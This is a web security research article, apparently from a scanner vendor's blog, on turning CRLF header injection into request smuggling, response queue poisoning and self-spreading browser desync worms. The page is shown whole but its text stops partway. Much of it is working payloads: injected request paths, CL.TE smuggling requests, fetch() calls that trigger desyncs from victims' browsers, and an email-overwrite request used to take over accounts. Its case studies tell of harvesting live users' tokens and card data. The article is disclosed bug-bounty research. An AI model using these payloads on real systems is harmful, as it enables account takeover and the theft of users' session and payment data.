In-app reader
Login
_ _
_ _ _ _ _
Products
Solutions
Research Academy
Support
Company
Customers About Blog Careers Legal Contact Resellers
My account Customers About Blog Careers Legal Contact Resellers
Burp AT Agentic AI that extends human-led pentesting.
Burp Suite DAST The enterprise-enabled dynamic web vulnerability scanner.
Burp Suite Professional The world's #1 web penetration testing toolkit.
Burp Suite Community Edition The best manual tools to start web security testing.
View all product editions
Burp Scanner
Burp Suite's web vulnerability scanner
Attack surface visibility Improve security posture, prioritize manual testing, free up time. CI-driven scanning More proactive security - find and fix vulnerabilities earlier. Application security testing See how our software enables the world to secure the web. DevSecOps Catch critical bugs; ship more secure software, more quickly.
Penetration testing Accelerate penetration testing - find more bugs, more quickly. Automated scanning Scale dynamic scanning. Reduce risk. Save time/money.
Bug bounty hunting Level up your hacking and earn more bug bounties. Compliance Enhance security monitoring to comply with confidence.
View all solutions
Product comparison
What's the difference between Pro and DAST?
Support Center Get help and advice from our experts on all things Burp. Documentation Tutorials and guides for Burp Suite. Get Started - Professional Get started with Burp Suite Professional. Get Started - DAST Get started with Burp Suite DAST. Downloads Download the latest version of Burp Suite.
Visit the Support Center
Downloads
Download the latest version of Burp Suite.
_
Articles
Overview
_
Core Topics
Black Hat XSS Request Smuggling Template Injection Top 10 Hacking Techniques
Articles
_
Meet the Researchers
James Kettle Gareth Heyes Zakhar Fedotkin Tom Stacey
Talks
RSS
_
_
Researcher
**Published: **Wednesday, 5 August 2026 at 23:30 UTC
**Updated: **Wednesday, 5 August 2026 at 23:30 UTC
In this paper we’ll show that HTTP Header Injection is severely underestimated. Forget open redirects or Cross-Site Scripting and instead, embrace the catastrophic potential of the CRLF-Powered Desync Worm.
We’ll begin by teaching you how to take a simple header injection primitive and transform it into a full-blown desync worm. Next, we’ll introduce novel methods to detect and exploit IP and connection-locked desyncs which prevent cross-network exploitation by shifting the desync’s execution into the victim's browser to generate an XSS out of thin air and steal HTTPOnly cookies.
Along the way, we’ll help you avoid accidental desync disasters like logging every active user of your target into your own account causing your shopping cart to be overwritten with random users’ items on every refresh.
This paper was co-authored with Tobia Righi from TurtleSec. Over the last year, we've collaborated on this research in order to ensure that every single technique was pushed to its absolute limit. This went rather well, and we ended up co-presenting the results at BHUSA and DEFCON. You can read his own version of the paper on TurtleSec’s blog.
Research Origins
HTTP Request Smuggling
Request Header Injection
Detecting Request Header Injection
HTTP Request Splitting
Response Queue Poisoning via Request Splitting
RQP Inside the Infrastructure of a CDN
Header Injection via Custom Upstream Header
Header Injection via Non-Path Insertion Points
AI-Generated Detection Techniques
CRLF-Powered CL.TE Desync Attacks
The Desync Disaster
The Nested Response Mystery
Cache Poisoning & AI-Generated HEAD Gadget
Browser-Powered CRLF Desync Attacks
CRLF-Powered Desync Worms
HTTP Request Tunnelling
Bypassing Blind Request Tunnelling
Bypassing Access Controls via Request Tunnelling
Browser-Powered Connection-Locked Desyncs
Browser-Powered 0.CL
Browser-Powered IP-Locked Desyncs
Browser-Powered Request Splitting - HEAD + Range
Browser-Powered Request Splitting - Stealing HTTPOnly Cookies
Bypassing Response Header Removal
Response Header Injection
Cookie Tossing - TikTok
XSS on a Redirect
Reverse Desync Attacks
Defence
Tooling
Further Research
Key Takeaways
Conclusion
Around 1 year ago, we came across this post on Bluesky which mentioned an attack technique we’d heard of, but never come across in the wild. This post bothered us, as it claimed the attack was “not that uncommon” in spite of our failure to ever find it. On top of this, we knew of at least two other research papers on the same topic (both of which were in their respective year’s Top 10 Web Hacking Techniques).
The first, Making HTTP header injection critical via response queue poisoning by James Kettle explains how you can achieve HTTP request smuggling using request splitting, citing a single case study as evidence. The second, HTTP Request Splitting Vulnerabilities Exploitation by Sergey Bobrov explores how common request splitting actually is, due to a common Nginx misconfiguration, but only briefly mentions the potential for desyncs.
This got us thinking. What would happen if we took James’ desync techniques, and applied them to everything that seemed vulnerable to HTTP header injection. After our first encounter, we quickly realised the technique’s potential and started to spot gaps in its current understanding.
This entire paper will talk extensively about request smuggling, and therefore we highly recommend going through our free Web Security Academy resources if you’re not already familiar.
In Nginx configurations (an extremely popular web server) if the $uri variable is included in the proxy_pass directive, Nginx will normalise the request path before use, url-decoding any encoded characters including CRLF sequences (%0d%0a). This allows us to inject new lines into the request that is forwarded upstream of Nginx, giving us full control over the structure of that request.
# nginx.conf http { upstream backend { server backend.internal.com:8000; } server { location / { proxy_pass http://backend$uri; } } }
For example, here we inject an invalid Content-Length header whilst maintaining the syntax of the request and produce an expected 400 response.
GET /%20HTTP/1.1%0d%0aContent-Length:%20X%0d%0aX:%20x HTTP/1.1 Host: example.com
GET / HTTP/1.1 Content-Length: X X: x HTTP/1.1 Host: example.com``HTTP/1.1 400 Bad Request
To better represent the structure of these injections, we’ll use the following Hackvertor syntax, which is extremely helpful when it comes to working with these kinds of vulnerabilities inside Burp Suite.
GET / HTTP/1.1 Content-Length: X X: x HTTP/1.1 Host: example.com
Detection for request header injection is thankfully quite simple. Inject a header or piece of invalid HTTP syntax in order to produce a predictable status code.
GET / HTTP/13.37 Foo: bar HTTP/1.1``HTTP/1.1 505 Version Not Supported
GET / HTTP/1.1 Transfer-Encoding: x Foo: bar HTTP/1.1``HTTP/1.1 501 Not Implemented
Historically request splitting has referred to an ultra powerful form of Cross-Site Request Forgery. However, James explained that by splitting the request into exactly two requests and using a little automation, you could achieve Response Queue Poisoning (RQP).
This technique does not breach the RFC using mutated headers in any way. Two CRLF sequences in a row, are simply another boundary between requests and as a result, this technique works exceptionally well out-of-the-box.
It’s worth noting that the Connection header is sometimes required, but not always. We recommend adding it just to experiment but for the sake of clarity, we’ve removed it from our examples.
`GET / HTTP/1.1 Host: example.com Connection: keep-alive
TRACE / HTTP/1.1 X: x HTTP/1.1 Host: example.com``HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 405 Method Not Allowed`
RQP is a truly glorious attack, where you smuggle two complete requests, this causes the server to lose track of which response is meant to go to who, and instead send everyone random responses intended for other users.
From an attacker’s perspective, this means we can continuously harvest responses intended for other users, containing all kinds of sensitive data, all whilst causing a denial-of-service for everybody else.
After a few days of scanning, and by just applying the techniques outlined in Making HTTP header injection critical via response queue poisoning, we quickly found a domain where we could trigger RQP.
However when we did, we noticed that the responses we received weren't from our target application. Instead, we received a stream of responses from various unrelated applications each running a different tech stack. Given the range of unrelated content we were receiving we realised that our desync was occurring inside of the CDN’s own infrastructure. To confirm this we figured out which domain each stolen response originated from, and then checked if that host was hosted on the target CDN.
When we reported this to the program, they didn’t believe us and asked for more evidence. This forced us to take a significantly more dangerous approach.
When you trigger a desync this close to the edge you’ll often find that you can route requests to arbitrary domains on the CDN by adjusting the Host header. With this in mind, we quickly found a persistent storage gadget and used a classic prefix attack in order to store the requests of other users in our account’s nickname field. Each captured request included a Host header indicating where the request was originally routed, providing us with enough evidence for triage.
Impact wise, as a result of capturing requests, we also started to capture session cookies and auth tokens for thousands of applications hosted on the CDN. They did insist we provide more evidence.
Occasionally, you’ll encounter behaviour where your injection ends up inside a custom header rather than the path.
GET /%0d%0aHost:%20x HTTP/1.1 Host: tele.com
GET / HTTP/1.1 Host: tele.com X-Original-Url: / Host: x``HTTP/1.1 400 Bad Request Once you figure out where the injection is occurring, these cases are trivial to exploit. In this major Telecoms provider, we could exit the request immediately and inject a second complete request, again producing RQP.
`OPTIONS /
GET / HTTP/1.1 Host: tele.com Connection: keep-alive
HTTP/1.1
Host: tele.com OPTIONS / HTTP/1.1
Host: tele.com
X-Original-Url: /
GET / HTTP/1.1 Host: tele.com Connection: keep-alive``HTTP/1.1 200 OK Allow: OPTIONS, GET
HTTP/1.1 200 OK Allow: OPTIONS, GET
HTTP/1.1 200 OK {"token":"eyJ..."}` After running the exploit with 500 connections for over 20 minutes, we eventually started to steal access tokens from their internal infrastructure, landing us a hefty $20,000 bounty.
In a similar vein, your insertion point may not always be the request’s path. We knew this was theoretically possible, but failed to find a single case until very recently when we asked Claude to build the scan for us. We’re unsure what differed about its approach, but it instantly produced a case of request header injection inside a payment provider’s session cookie.
POST /graphql/v1 HTTP/1.1 Host: payment.com Cookie: sess=abc Transfer-Encoding: notchunked X: x
POST /graphql/v1/abc Transfer-Encoding: notchunked X: x HTTP/1.1 Host: payment.com``HTTP/1.1 501 Not Implemented
Here, our injection ends up back in the path of the upstream request, making exploitation via RQP trivial.
`POST /graphql/v1 HTTP/1.1 Host: payment.com Cookie: sess=abc HTTP/1.1 Host: payment.com Connection: keep-alive
GET / HTTP/1.1
Connection: keep-alive
X: x POST /graphql/v1/abc HTTP/1.1
Host: payment.com
Connection: keep-alive
GET / HTTP/1.1 Connection: keep-alive X: x HTTP/1.1 Host: payment.com``HTTP/1.1 200 OK
HTTP/1.1 200 OK Access-Control-Allow-Origin: x.ecom
{"card_num":"..."}
HTTP/1.1 200 OK Access-Control-Allow-Origin: y.ecom
{"card_num":"..."}`
Upon triggering our exploit, we noticed that we received credit card numbers and PII data from multiple major corporations. While demonstrating this to an ex-colleague of mine (you rock Wictor), he pointed out that the response headers indicated that the desync was occurring inside the provider’s Kubernetes cluster, allowing us to randomly exfiltrate customer data for every organisation using the payment provider.
At this point in the research, our detection techniques started to become less reliable. In an attempt to invent new ones, we asked Claude. It came back with the Expect header, and its unique 417 status code.
GET / HTTP/1.1 Expect: asdf X: x HTTP/1.1 Host: example.com``HTTP/1.1 417 Expectation Failed Connection: close With this added to our tooling, we quickly found a popular clothing store which looked vulnerable. Sadly, when attempting our usual approach of using two CRLF sequences in a row to split the request, we’d always receive an error and a closed connection.
`GET / HTTP/1.1 Host: example.com Connection: keep-alive
GET / HTTP/1.1 Foo: bar HTTP/1.1 Host: example.com``HTTP/1.1 400 Bad Request Connection: close` We were however still able to inject headers as that avoided having to use two CRLF sequences in a row.
GET / HTTP/1.1 Random_header: asdf Foo: bar HTTP/1.1 Host: example.com``HTTP/1.1 200 OK The only question that remained then was, can we achieve a desync by injecting a single header?
By creating a request with a Content-Length header and an injected Transfer-Encoding header, we realised we could achieve a classic CL.TE desync. As we’ll see later, it is also possible to achieve a 0.CL desync, but these are significantly trickier to exploit and we’d therefore recommend sticking with a CL.TE desync where possible.
Using the timeout technique, you can get a good idea of whether or not your injected header is being processed upstream.
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: example.com Content-Length: 13
d x=y 0``-TIMEOUT-`
Once we figured out how to trigger a desync, we wanted to confirm that we could impact other users directly, by smuggling an update to my profile page.
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: clothes.shop Content-Length: 66
0
POST /user/update?name=t0xodile Cookie: SESSID=abcdefg X: x``HTTP/1.1 200 OK`
`GET / HTTP/1.1 Host: clothes.shop``HTTP/1.1 200 OK Set-Cookie: SESSID=abcdefg
Profile Updated` This worked, but quickly went disastrously wrong. We had failed to notice that the response would reflect my session cookie causing any user impacted by the desync to be instantly logged into my account. This caused a hilarious interaction, where my shopping cart would update with new items on each browser refresh, as thousands of live users attempted to fight over the same cart.
To fully exploit the vulnerability, we opted to replace users’ email addresses with our own, allowing us to steal the accounts of every live user on every subdomain of the shop. In the end, the program forgave us for my blunder and rewarded us with a $2,200 bounty.
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: clothes.shop Content-Length: 69
0
POST /user/update?email=t0x@atk.cc Cookie: SESSID=abcdefg X: x``HTTP/1.1 200 OK`
`GET / HTTP/1.1 Host: clothes.shop``HTTP/1.1 200 OK Set-Cookie: SESSID=abcdefg
Profile Updated`
On a major phone manufacturer's accounts subdomain, we were able to produce some unusual stacked response behaviour.
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: account.phones.com Content-Length: 87
0
GET / HTTP/1.1 Host: account.phones.com x-req-id: ``HTTP/1.1 404 Not Found Content-Type: application/octet-stream
Not FoundHTTP/1.1 400 Bad Request Content-Type: application/octet-stream
X-Req-Id= ` We initially mistook this for request tunnelling which would have prevented cross-user impact. But on closer inspection found that with a significantly higher number of connections, we could trigger a full desync that would impact other users.
We still don’t know for certain why this worked, but our best guess is that the front-end performs a small over-read when processing responses. However, rather than dumping the extra data and resetting the connection when encountering more data than expected, it decides to read in that extra data and forward it. This leaves us with a small race window where an entire extra response can end up appended to other live users’ responses.
Sadly, our nested response’s XSS payload would never fire, because the Content-Type header would not render HTML.
As a last resort and on the advice of a friend (shoutout to you Daniel), we opted to go for a blind XSS payload just in case. This ended up working spectacularly, causing our collaborator to receive pingbacks from mobile phones all around the world.
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: account.phones.com Content-Length: 86
0
GET / HTTP/1.1 Host: account.phones.com x-req-id: ``HTTP/1.1 200 OK Content-Type: text/html
… HTTP/1.1 400 Bad Request Content-Type: application/octet-stream
X-Req-Id= ` To fully exploit this behaviour, Tobia used a QR code gadget from his previous research to perform an account takeover on arbitrary live users.
When we reported this to the program, they quickly closed it as duplicate. We checked back a few months later and found the recreation flow still worked. Suspicious of this, we emailed their security team and got the report re-opened with a $500 bounty awarded for our efforts.
For our final CL.TE case study, we found ourselves able to poison the home page of a major social media’s CDN domain with any valid response on the platform. We thought this was pretty cool, but the program wanted more impact.
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: cdn.doomscroll.com Content-Length: 46
0
GET /images/randomlogo.png HTTP/1.1 X: x``HTTP/1.1 200 OK X-Cache: MISS
HTTP/1.1 200 OK X-Cache: MISS
HTTP/1.1 200 OK X-Cache: MISS`
`GET / HTTP/1.1 Host: cdn.doomscroll.com``HTTP/1.1 200 OK X-Cache: HIT
` With absolutely zero gadgets on the domain, we opted to use the HEAD technique to achieve this. You can read more about how the HEAD technique actually works in the Web Security Academy.
Sadly, finding the perfect response size for our HEAD technique took us months of digging. In the end, we simply asked Claude for a response that was between two specific Content-Length values. To our surprise this actually worked, providing us with the default 414 URI Too Long response.
All we had to do was create a HEAD request with an overlong path and our XSS was served to random live users.
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: cdn.doomscroll.com Content-Length:
0
HEAD /? HTTP/1.1
GET / HTTP/1.1 X-Reflect: Content-Length: 100
x=y``HTTP/1.1 414 URI Too Long Content-Type: text/html Content-Length: 64
HTTP/1.1 204 No Content X-Reflect: `
In Browser-Powered Desync Attacks, James Kettle revealed that a few desync classes were actually entirely fetch-spec compatible. This means that it is entirely possible for a browser to issue those attacks. After months of exploiting classic desync cases, we noticed that the same was true for our CRLF-Powered Desync attacks.
In fact, for the vast majority of CRLF-Powered Desync attacks you can use fetch, or even a basic browser navigation to trigger these desyncs, opening up a lot more opportunity when it comes to exploitation.
`GET / HTTP/1.1 Host: example.com Connection: keep-alive
GET / HTTP/1.1 Foo: bar HTTP/1.1 Host: example.com``fetch( "https://example.com/%20HTTP/1.1%0d%0a Host:%20example.com%0d%0a Connection:%20keep-alive%0d%0a%0d%0a GET%20/%20HTTP/1.1%0d%0aFoo:%20bar" )`
`POST / HTTP/1.1 Transfer-Encoding: chunked Foo: bar HTTP/1.1 Host: example.com Content-Length: 27
0
TRACE / HTTP/1.1 X: x``fetch( "https://example.com/%20HTTP/1.1%0d%0a Transfer-Encoding:%20chunked%0d%0a Foo:%20bar", { method: "POST", body: "0\r\n\r\nTRACE / HTTP/1.1\r\nX: x" } )`
In the same paper, James theorised an attack where an attacker abuses request smuggling in order to trigger XSS in the victim’s browser. The victim's browser could then be used as a platform to trigger the same desync attack via fetch, spreading the attack to even more users and resulting in a self-replicating desync worm.
This is true power of CRLF-Powered Desync attacks. This class of desync is usually entirely browser-compatible, meaning that you can almost always achieve a desync worm if you have an XSS gadget via the HEAD technique or otherwise.
In fact, if you look back at our case studies so far, you’ll notice that all of them were very likely browser-compatible, and therefore susceptible to this exact scenario. If you’re having trouble getting through triage, a reminder of the potential fo
…(truncated for reading performance)
Discussion
Sign in to join the discussion.